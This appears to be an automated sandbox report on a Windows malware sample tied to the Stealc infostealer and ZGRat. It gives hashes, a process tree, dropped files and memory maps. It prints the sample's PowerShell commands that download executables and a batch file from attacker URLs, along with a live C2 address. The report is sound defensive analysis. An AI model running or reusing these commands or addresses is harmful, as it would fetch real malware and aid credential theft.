Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-05-2024 01:17

General

  • Target

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe

  • Size

    49KB

  • MD5

    213c0265511727869c959abd24ea3677

  • SHA1

    22ea6fe23eeb57d0048d1b0e2a826dd66c6969d9

  • SHA256

    3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7

  • SHA512

    bfa4d229ade2e47d91f3fb761e68f727aab86980a2697cb06955324e9b61b384569a285edfaa1d1dd7aea95e24d171a770a4f573a19ec795325c68250720f41e

  • SSDEEP

    1536:XferrLkSRoe8C4UZsys0Dh1duFpxFI+PlZ:Xfi3k+oWDBDh1duFpkWlZ

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000

Extracted

Family

stealc

C2

http://185.172.128.150

Attributes
  • url_path

    /c698e1bc8a2f5e6d.php

Signatures

  • Detect ZGRat V1 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

  • ZGRat

    ZGRat is remote access trojan written in C#.

  • Detect binaries embedding considerable number of MFA browser extension IDs. 1 IoCs
  • Detect binaries embedding considerable number of cryptocurrency wallet browser extension IDs. 1 IoCs
  • Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 1 IoCs
  • Detects encrypted or obfuscated .NET executables 1 IoCs
  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 29 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 7 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe
    "C:\Users\Admin\AppData\Local\Temp\3b73d0b40752af41cdaa397c87f039167f0a1c9ff8ea6623fc8a8cb4ca787ca7.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:4392
    • C:\Windows\SysWOW64\cmd.exe
      "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nss4EAD.tmp\est.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3536
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4780
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4772
      • C:\Users\Admin\AppData\Local\Temp\i1.exe
        i1.exe /SUB=2838 /str=one
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1528
        • C:\Users\Admin\AppData\Local\Temp\u16g.0.exe
          "C:\Users\Admin\AppData\Local\Temp\u16g.0.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Checks processor information in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:840
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 840 -s 2344
            5⤵
            • Program crash
            PID:4280
        • C:\Users\Admin\AppData\Local\Temp\u16g.1.exe
          "C:\Users\Admin\AppData\Local\Temp\u16g.1.exe"
          4⤵
          • Checks computer location settings
          • Executes dropped EXE
          • Checks SCSI registry key(s)
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of WriteProcessMemory
          PID:3168
          • C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
            "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2312
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=444&c=1000', 'i2.bat')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4536
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 840 -ip 840
    1⤵
      PID:2028

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\ProgramData\Are.docx

      Filesize

      11KB

      MD5

      a33e5b189842c5867f46566bdbf7a095

      SHA1

      e1c06359f6a76da90d19e8fd95e79c832edb3196

      SHA256

      5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

      SHA512

      f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

    • C:\ProgramData\mozglue.dll

      Filesize

      593KB

      MD5

      c8fd9be83bc728cc04beffafc2907fe9

      SHA1

      95ab9f701e0024cedfbd312bcfe4e726744c4f2e

      SHA256

      ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

      SHA512

      fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

    • C:\ProgramData\nss3.dll

      Filesize

      2.0MB

      MD5

      1cc453cdf74f31e4d913ff9c10acdde2

      SHA1

      6e85eae544d6e965f15fa5c39700fa7202f3aafe

      SHA256

      ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

      SHA512

      dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      4280e36a29fa31c01e4d8b2ba726a0d8

      SHA1

      c485c2c9ce0a99747b18d899b71dfa9a64dabe32

      SHA256

      e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

      SHA512

      494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      953338c2ec72a2b464d681f6c15982d4

      SHA1

      f8fec1dafefddc45a5313996f82569ce3e327320

      SHA256

      ad6b800555dc69497ebdf30dbc9d55d374f58f1cc343bbc0b2488653b5c11805

      SHA512

      657b444d962143ee0593819ac280f9e6c13559dcd7f6fa8576706b0e11b7be54e2b966aecfbdb263037d7a5eb28552d847359216d76843a3fcb4484dce42983f

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

      Filesize

      16KB

      MD5

      c5f931c9dddc6b71152ef1b1373f7cb8

      SHA1

      cb54fc83f73926fb4321fcca24ac8c3db5d78f1e

      SHA256

      14413ea0169cbfd6798f35aed518209f245247c887797ade1fcaa05722d21e9a

      SHA512

      66636370f480ed15e9744019ae60a7554c250d49335710c5059a0c0aeb573fab2803889b0ffb52837283816a228b1e18d4700506316a2532c9ce815021471799

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wnlrp5as.1gi.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\i1.exe

      Filesize

      384KB

      MD5

      e8fe249ed5e4a60afe3b5e0063b2aa1a

      SHA1

      10136812a9720946b8b3de256bd80464a7c15745

      SHA256

      a1aa7034c117960e045a7386df698cfaaab3bfd8b13d02bbee56b1e62e67e46f

      SHA512

      ff212796d65628d63474fa261f648e1b93a974aa1db70bb1edac039de9ed798f5e50debd823b407b208894ed33e320bab1a7275c5649446ff9f8e8b8bac12973

    • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

      Filesize

      2KB

      MD5

      0b4625e90d15ca2589c975b4103d93e6

      SHA1

      cefb2862a6a492c28a1d34ced18691cb4c69e0c0

      SHA256

      80e2d5d818f00819c6e91a2376d6e5cc71e2836269caa77827d343023bf0356d

      SHA512

      9e141f864f9fb48ce26204291ecb7f35128ef437cfcce77336aea7c8d890591b4c2ce223bed131ce40484500e137d28e1666c3e2cd74ac2cd7ef437459d3c6b6

    • C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

      Filesize

      3KB

      MD5

      c8381035bb90d56846b4b7243c3c6dca

      SHA1

      65981e071d75a84958f939f4dec5b2e14ebbcd42

      SHA256

      1d145bd610cd75a971239c2ae8badb63c63dc3487e7d156e1bb451aca143a1df

      SHA512

      d467f9fbd324a71b901d842c05f2236e4e82c4ad945b61f582aa5f33a817b07ddfc8799795615ad5aeb0096522f569a7018c478c08733482629f5d99a11a502d

    • C:\Users\Admin\AppData\Local\Temp\nss4EAD.tmp\INetC.dll

      Filesize

      25KB

      MD5

      40d7eca32b2f4d29db98715dd45bfac5

      SHA1

      124df3f617f562e46095776454e1c0c7bb791cc7

      SHA256

      85e03805f90f72257dd41bfdaa186237218bbb0ec410ad3b6576a88ea11dccb9

      SHA512

      5fd4f516ce23fb7e705e150d5c1c93fc7133694ba495fb73101674a528883a013a34ab258083aa7ce6072973b067a605158316a4c9159c1b4d765761f91c513d

    • C:\Users\Admin\AppData\Local\Temp\nss4EAD.tmp\est.bat

      Filesize

      735B

      MD5

      f32d05160acf8325e9a09f09f80d16f4

      SHA1

      46e159b71e6ef99076c4002e1fda134e1d0a86c9

      SHA256

      da8f4f45b105538f0063ece220b69455b15c8e680099c02221c093ecb794ae37

      SHA512

      147c870edd09fa3f6cd93caae809b5d66fecc759e3cfee4e47dc487786edc760989fdb23310b4284e63871fe1b1d805e949601f54bfc93ff80e2e097a989879b

    • C:\Users\Admin\AppData\Local\Temp\u16g.0.exe

      Filesize

      206KB

      MD5

      a33065159222d4c22e581ea419285701

      SHA1

      6297d390c9d8c3b8c3340d8d38d46c1bbf32d354

      SHA256

      ddf2f47cbc0db66b326be096b46854a6ab59a2504688077bba0bbb42c4470ae2

      SHA512

      2860dab79524b7db3f0b7771b8d402905a8096653d1c83e49e3827bb7cd739104848b691be16fbd898b81bfd4fcdd827fc4c8f72da6e91d565f02e59f5725f79

    • C:\Users\Admin\AppData\Local\Temp\u16g.1.exe

      Filesize

      4.6MB

      MD5

      397926927bca55be4a77839b1c44de6e

      SHA1

      e10f3434ef3021c399dbba047832f02b3c898dbd

      SHA256

      4f07e1095cc915b2d46eb149d1c3be14f3f4b4bd2742517265947fd23bdca5a7

      SHA512

      cf54136b977fc8af7e8746d78676d0d464362a8cfa2213e392487003b5034562ee802e6911760b98a847bddd36ad664f32d849af84d7e208d4648bd97a2fa954

    • memory/840-173-0x0000000061E00000-0x0000000061EF3000-memory.dmp

      Filesize

      972KB

    • memory/840-252-0x0000000000400000-0x0000000002AF1000-memory.dmp

      Filesize

      38.9MB

    • memory/1528-127-0x0000000000400000-0x0000000002B1E000-memory.dmp

      Filesize

      39.1MB

    • memory/1528-80-0x0000000000400000-0x0000000002B1E000-memory.dmp

      Filesize

      39.1MB

    • memory/2312-157-0x00000167C4EF0000-0x00000167C4EF8000-memory.dmp

      Filesize

      32KB

    • memory/2312-162-0x00000167C5720000-0x00000167C5782000-memory.dmp

      Filesize

      392KB

    • memory/2312-170-0x00000167C57E0000-0x00000167C57FE000-memory.dmp

      Filesize

      120KB

    • memory/2312-168-0x00000167C5880000-0x00000167C58F6000-memory.dmp

      Filesize

      472KB

    • memory/2312-167-0x00000167C57A0000-0x00000167C57AC000-memory.dmp

      Filesize

      48KB

    • memory/2312-164-0x00000167C5EE0000-0x00000167C6408000-memory.dmp

      Filesize

      5.2MB

    • memory/2312-163-0x00000167C5780000-0x00000167C57A2000-memory.dmp

      Filesize

      136KB

    • memory/2312-161-0x00000167C59A0000-0x00000167C59AA000-memory.dmp

      Filesize

      40KB

    • memory/2312-160-0x00000167C4820000-0x00000167C4828000-memory.dmp

      Filesize

      32KB

    • memory/2312-158-0x00000167C4830000-0x00000167C4868000-memory.dmp

      Filesize

      224KB

    • memory/2312-159-0x00000167C4800000-0x00000167C480E000-memory.dmp

      Filesize

      56KB

    • memory/2312-155-0x00000167C04E0000-0x00000167C07E0000-memory.dmp

      Filesize

      3.0MB

    • memory/2312-151-0x00000167BFDF0000-0x00000167BFDFA000-memory.dmp

      Filesize

      40KB

    • memory/2312-150-0x00000167C04B0000-0x00000167C04D2000-memory.dmp

      Filesize

      136KB

    • memory/2312-149-0x00000167C03E0000-0x00000167C040A000-memory.dmp

      Filesize

      168KB

    • memory/2312-147-0x00000167C0310000-0x00000167C03C2000-memory.dmp

      Filesize

      712KB

    • memory/2312-148-0x00000167C0430000-0x00000167C0480000-memory.dmp

      Filesize

      320KB

    • memory/2312-140-0x00000167A0950000-0x00000167A4184000-memory.dmp

      Filesize

      56.2MB

    • memory/2312-141-0x00000167C00C0000-0x00000167C01CA000-memory.dmp

      Filesize

      1.0MB

    • memory/2312-142-0x00000167BFF00000-0x00000167BFF10000-memory.dmp

      Filesize

      64KB

    • memory/2312-143-0x00000167BFF20000-0x00000167BFF2C000-memory.dmp

      Filesize

      48KB

    • memory/2312-144-0x00000167BFF10000-0x00000167BFF24000-memory.dmp

      Filesize

      80KB

    • memory/2312-145-0x00000167BFF80000-0x00000167BFFA4000-memory.dmp

      Filesize

      144KB

    • memory/2312-146-0x00000167BFDE0000-0x00000167BFDEA000-memory.dmp

      Filesize

      40KB

    • memory/3168-139-0x0000000000400000-0x00000000008AD000-memory.dmp

      Filesize

      4.7MB

    • memory/4536-76-0x0000000006860000-0x00000000068AC000-memory.dmp

      Filesize

      304KB

    • memory/4536-74-0x00000000062A0000-0x00000000065F4000-memory.dmp

      Filesize

      3.3MB

    • memory/4772-56-0x0000000005790000-0x0000000005AE4000-memory.dmp

      Filesize

      3.3MB

    • memory/4772-45-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4772-46-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4772-44-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4772-60-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4780-26-0x0000000005930000-0x0000000005C84000-memory.dmp

      Filesize

      3.3MB

    • memory/4780-24-0x0000000005850000-0x00000000058B6000-memory.dmp

      Filesize

      408KB

    • memory/4780-36-0x0000000005F30000-0x0000000005F4E000-memory.dmp

      Filesize

      120KB

    • memory/4780-25-0x00000000058C0000-0x0000000005926000-memory.dmp

      Filesize

      408KB

    • memory/4780-42-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4780-38-0x0000000007570000-0x0000000007BEA000-memory.dmp

      Filesize

      6.5MB

    • memory/4780-22-0x00000000057B0000-0x00000000057D2000-memory.dmp

      Filesize

      136KB

    • memory/4780-39-0x0000000006420000-0x000000000643A000-memory.dmp

      Filesize

      104KB

    • memory/4780-37-0x0000000005F50000-0x0000000005F9C000-memory.dmp

      Filesize

      304KB

    • memory/4780-23-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4780-21-0x0000000073430000-0x0000000073BE0000-memory.dmp

      Filesize

      7.7MB

    • memory/4780-20-0x00000000050F0000-0x0000000005718000-memory.dmp

      Filesize

      6.2MB

    • memory/4780-19-0x00000000029B0000-0x00000000029E6000-memory.dmp

      Filesize

      216KB

    • memory/4780-18-0x000000007343E000-0x000000007343F000-memory.dmp

      Filesize

      4KB